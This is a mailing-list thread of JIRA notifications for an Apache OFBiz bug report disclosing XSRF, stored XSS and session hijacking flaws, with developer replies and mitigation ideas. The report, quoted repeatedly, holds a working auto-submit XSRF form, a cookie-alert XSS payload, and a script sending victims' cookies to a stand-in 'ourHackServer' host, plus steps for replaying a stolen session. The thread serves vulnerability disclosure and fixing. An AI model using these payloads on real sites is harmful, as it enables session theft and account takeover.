[jira] Created: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation

[Nicolas Malin (Jira)]

Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
------------------------------------------------------------------------------------

                 Key: OFBIZ-1959
                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
             Project: OFBiz
          Issue Type: Bug
          Components: ALL COMPONENTS
    Affects Versions: SVN trunk
            Reporter: Michele Orru
            Priority: Critical
             Fix For: SVN trunk


+++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
       
        1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
        2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
        3.: Session Hijacking

+++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
1.: As can be verified with your favorite proxy tool (we use Burp), POST request
parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
to executes.
 - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
a potential victim account and 667 the attacker one.
 - In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.

The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
       
        <form method="POST" id="xsrf" name="xsrf"
                   action="https://127.0.0.1:8443/catalog/control/createProduct">
                <input type=hidden name="isCreate" value="true">
                <input type=hidden name="productId" value="hack02">
                <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
                <input type=hidden name="internalName" value="hack02">
       </form>  
        <script>document.xsrf.submit(); </script>

Of course the product-creation mechanism is not finished (we need price, content and ProductName),
but is just to let you understand.

When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the browser.  

Clearly we can do more than this...

2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a needed
parameter is quite un-useful and so prone to store our malicious code) with something
like:
       
                <input type=hidden name="internalName"
                                        value="<script>alert(document.cookie)</script>">
                                       
The malicious code will display every cookie information in a pop-up, that only the victim
will see: obviously we don't want this.

3.: We can then create a little cookie-grabber servlet that listen for GET request from
our victims, extract the useful parameters and store them in a file or DB, in a way
that wen can hijack the session of the admin/manager.
       
The internalName value is prone to store our malicious code also because his maxlength
is 255 characters: this gives us a great advantage when creating a complex injection code,
if we don't want to inject a link to the malicious script like
<img src="http://x.x.x.x/malicious.js">
       
The malicious code will look as the following one:
       
<script>
var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
        if(document.cookie.indexOf("done")<0)\{
               document.cookie="done=true";
               document.location.replace(str);
        }
</script>
       
Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
       
After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
authentication-required resource, the login page will ask us for valid credentials.
In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
one, and we make the previous request another time (just refresh on the login page), then
we are riding the same victim session. If we are lucky and it's an admin, we can do
whatever we want on his/her behalf.


+++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++

Mitigation can be made in two ways:
 - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
 - Application:
XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
Reg-expression patterns to filter out bad input.
XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).

Said all of that, we really support Ofbiz!


--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630874#action_12630874 ]

BJ Freeman commented on OFBIZ-1959:
-----------------------------------

I don't see any thing relative to ofbiz in this post
just general Java.
have you tested this with ofbiz to verify.
also we have other issues that referred to XSS.
Search the Jira for it.

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630879#action_12630879 ]

Michele Orru commented on OFBIZ-1959:
-------------------------------------

Of course I tested all of them on Ofbiz, and the examples that you can see in my post are all relevant to Ofbiz.
The action on the form method is https://127.0.0.1:8443/catalog/control/createProduct.
The internalName is an attribute  of Product.

 - Every attack was tested on the latest Ofbiz SVN trunk.

 - The attacks I posted  are not only XSS: XSRF is definitely not an XSS.

 - The XSRF and Session Hijacking attacks were not already present in your Issue Tracker.

 - One possible mitigation is to add new functionalities to org.ofbiz.base.util.UtilValidate, that is from ofbiz APIs.

The XSS ticket is still open from 2 years, maybe because as Jaques Le Roux said these attacks are not
critical issues for you. When I will have time I will fix them, but maybe we can discuss how to protect Ofbiz
from the latest threats instead of don't do nothing.

{quote}
I don't see any thing relative to ofbiz in this post
just general Java.
have you tested this with ofbiz to verify.
also we have other issues that referred to XSS.
Search the Jira for it.
{quote}

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630897#action_12630897 ]

BJ Freeman commented on OFBIZ-1959:
-----------------------------------

Look forward to you patches.
:D

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12673494#action_12673494 ]

Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------

Hi Michele,

Could you please check, with the tools you are used to use for that, that the recent efforts on security has fixed the problems you encoutered. I think that it's ok for XSS but I did not check yet XSRF and Session Hijacking. Anyway using an update specialised tool for that should not hurt and you are far more knowledgeable than me on that...

Thanks

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674013#action_12674013 ]

Michele Orru commented on OFBIZ-1959:
-------------------------------------

Hi Jacques

Sorry to come here in the discussion two days later...
I will check it in these days...I will update my ofbiz trunk now.
And this night I will check it.

Anyway, any details, reference about tools you used to fix the vulns? ESAPI?

let me know

All the best Jacques

Michele Orru'

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674048#action_12674048 ]

Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------

Hi Michele,

Yes it was done with ESAPI. But David (E. Jones) is the culprit, I only helped here and there.

Thanks for your appreciated help

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
